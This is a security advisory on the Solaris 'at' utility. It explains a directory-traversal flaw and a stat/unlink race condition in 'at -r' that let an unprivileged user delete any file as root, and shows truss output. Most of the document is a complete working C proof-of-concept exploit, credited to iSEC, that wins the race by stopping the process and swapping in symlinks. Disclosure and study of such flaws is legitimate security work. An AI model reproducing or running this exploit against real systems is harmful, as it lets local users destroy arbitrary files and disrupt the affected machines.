Solaris 'at' Exploit Code
    Summary
   The 'at' utility in Solaris has name handling and race condition
   vulnerabilities. Using the -r switch to remove a job allows an attacker
   to remove any file on the file system as root. Although at filters out
   absolute paths, a simple ../ directory traversal maneuver allows an
   attacker to remove files out of the allowed boundary.
    Details
   At utility reads commands from standard input and groups them together
   as an at-job, to be executed later.
   Each at-job is kept in separate file in at spool directory. At jobs may
   be removed if -r option is used with a job-id parameter to the 'at'
   command.
   However, there are two vulnerabilities within the code that removes
   at-job from at spool directory.
   At utility does not properly handle job ids specified as a parameter to
   the -r option. It allows to remove jobs outside of at's spool directory
   if relative path name is used. Only absolute path names are filtered
   out.
   At verifies ownership of the file and limits the user to remove only its
   own at-jobs. Unfortunately, a race condition occurs after at stats the
   file and before the file is unlinked. By altering directory structure
   between these two system calls, at may be fooled to remove file other
   than it expects.
   Since this code is executed with full root privileges, these two
   vulnerabilities may allow unprivileged users to remove any files on the
   file system.
   Below is an example of truss output that uncovers the vulnerability:
   bash# truss -o log /usr/bin/at -r ../../../../tmp/foo
   [...]
   chdir("/var/spool/cron/atjobs") = 0
   stat64("../../../../tmp/foo", 0xFFBEF360) = 0
   [...]
   unlink("../../../../tmp/foo") = 0
   [...]
   Exploit:
   Below is attached a working proof-of-concept exploit. It should succeed
   after few trials (single dot is printed on each trial):
   #include <stdio.h>
   #include <unistd.h>
   #include <signal.h>
   #include <sys/types.h>
   #include <errno.h>
   #include <stdlib.h>
   #include <sys/param.h>
   #include <fcntl.h>
   #include <string.h>
   #include <sys/stat.h>
   #include <sys/wait.h>
   #define maxjobs 256
   #define tmpdir "/tmp"
   #define at "/usr/bin/at"
   char target[MAXPATHLEN+1];
   char targetfile[MAXPATHLEN+1];
   char targetdir[MAXPATHLEN+1];
   void cleandirs(void);
   void err(char * msg)
   {
     if (errno) {
       int error = errno;
       perror(msg);
       cleandirs();
       errno = error;
       exit(errno);
     }
   }
   void gohome(void)
   {
     char * home;
     home = getenv("HOME");
     if (!home) {
       errno = EINVAL;
       err("getenv(\"HOME\")");
     }
     if (chdir(home) < 0)
       err("chdir($HOME)");
   }
   void cleandirs(void)
   {
     int no;
     char * tmp;
     for (no = 0; no < maxjobs; no++) {
       char path[MAXPATHLEN+1];
       snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
       path[MAXPATHLEN] = '\0';
       unlink(path);
       snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
       path[MAXPATHLEN] = '\0';
       unlink(path);
       rmdir(path);
     }
   }
   void createdirs(char ** argv)
   {
     int no;
     for(no = 0; no < maxjobs; no++) {
       char path[MAXPATHLEN+1];
       int fd;
       snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
       path[MAXPATHLEN] = '\0';
       unlink(path);
       if (mkdir(path, 0755) < 0 && errno != EEXIST)
         err("Unable to create directory");
       snprintf(path, MAXPATHLEN, "../../../..%s/%i/%s", tmpdir, no, targetfile);
       path[MAXPATHLEN] = '\0';
       fd = open(path, O_CREAT|O_RDONLY, 0755);
       if (fd < 0 && errno != EEXIST)
         err("Unable to create file");
       close(fd); /* empty file is just fine */
       argv[no] = strdup(path);
       if (!argv[no])
         err("Unable to allocate memory");
     }
     argv[no] = NULL;
   }
   pid_t spawnat(char ** argv)
   {
     int no, fd;
     pid_t child;
     child = fork();
     if (child < 0)
       err("Unable to fork");
     if (child)
       return child;
     /* child process */
     if (nice(19) < 0)
       err("Unable to change priority");
     fd = open("/dev/null", O_RDWR);
     if (fd < 0)
       err("Unable to open /dev/null");
     if (dup2(fd, STDIN_FILENO) < 0 ||
         dup2(fd, STDOUT_FILENO) < 0 ||
         dup2(fd, STDERR_FILENO) < 0)
       err("Unable to dup /dev/null");
     if (fd > STDERR_FILENO)
       close(fd);

     execv(argv[0], argv);
     err("Unable to execute at binary");
   }
   int doit(char * target)
   {
     int no = 0;
     char path[MAXPATHLEN+1];
     char * argv[maxjobs + 3];
     pid_t child;
     uid_t uid = getuid();
     int result = -1;
     argv[0] = at;
     argv[1] = "-r";
     createdirs(argv+2);
     child = spawnat(argv);
     while (no < maxjobs) {
       struct stat st;
       /* check if previous attempt succeeded */
       if (stat(target, &st) < 0) {
         if (errno == ENOENT) {
           result = 0;
           break;
         } else
           err("Unable to stat target file");
       }
       /* wait until file is deleted */
       snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
       path[MAXPATHLEN] = '\0';
       while (stat(path, &st) == 0) ;
       if (errno != ENOENT)
         err("Unable to stat temporary file");
       /* stop the child to exploit race condition */
       if (kill(child, SIGSTOP) < 0)
         break;
       /* find first file that hasn't been removed yet */
       while (++no < maxjobs) {
         snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
         path[MAXPATHLEN] = '\0';
         if (stat(path, &st) == 0)
           break;
         if (errno != ENOENT)
           err("Unable to stat temporary file");
       }

       /* all jobs removed - too late */
       if (no == maxjobs) {
         kill(child, SIGCONT);
         break;
       }
       if (unlink(path) < 0)
         err("Unable to remove temporary file");

       *strrchr(path, '/') = '\0';

       if (rmdir(path) < 0)
         err("Unable to remove temporary directory");

       if (symlink(targetdir, path) < 0)
         err("Unable to create symlink");
       if (kill(child, SIGCONT) < 0)
         err("Unable to continue child process");
       no++;
     }
     /* avoid zombie processes */
     waitpid(child, NULL, 0);
     for (no = 0; no < maxjobs; no ++)
       free(argv + no + 2);
     return result;
   }
   int main(int argc, char * argv[])
   {
     char * tmp;
     fprintf(stderr,
   "
   /usr/bin/at -r race condition exploit
   Remove any file on the filesystem.
   Bug found and exploit written by Wojciech Purczynski <cliph@isec.pl>
   iSEC Security Research http://isec.pl/
   ");
     gohome();
     errno = EINVAL;
     if (argc < 2)
       err("Required parameter missing");
     if (argv[1][0] != '/')
       err("Absolute path required");
     strncpy(target, argv[1], MAXPATHLEN);
     target[MAXPATHLEN] = '\0';
     tmp = strrchr(argv[1], '/');
     *tmp = '\0';
     if (tmp == argv[1])
       strcpy(targetdir, "/");
     else {
       strncpy(targetdir, argv[1], MAXPATHLEN);
       targetdir[MAXPATHLEN] = '\0';
     }
     strncpy(targetfile, tmp+1, MAXPATHLEN);
     targetfile[MAXPATHLEN] = '\0';
     while (doit(target))
       fprintf(stderr, "."); /* przygarnij kropka */
     fprintf(stderr, "Success!\n");
     cleandirs();
     return 0;
   }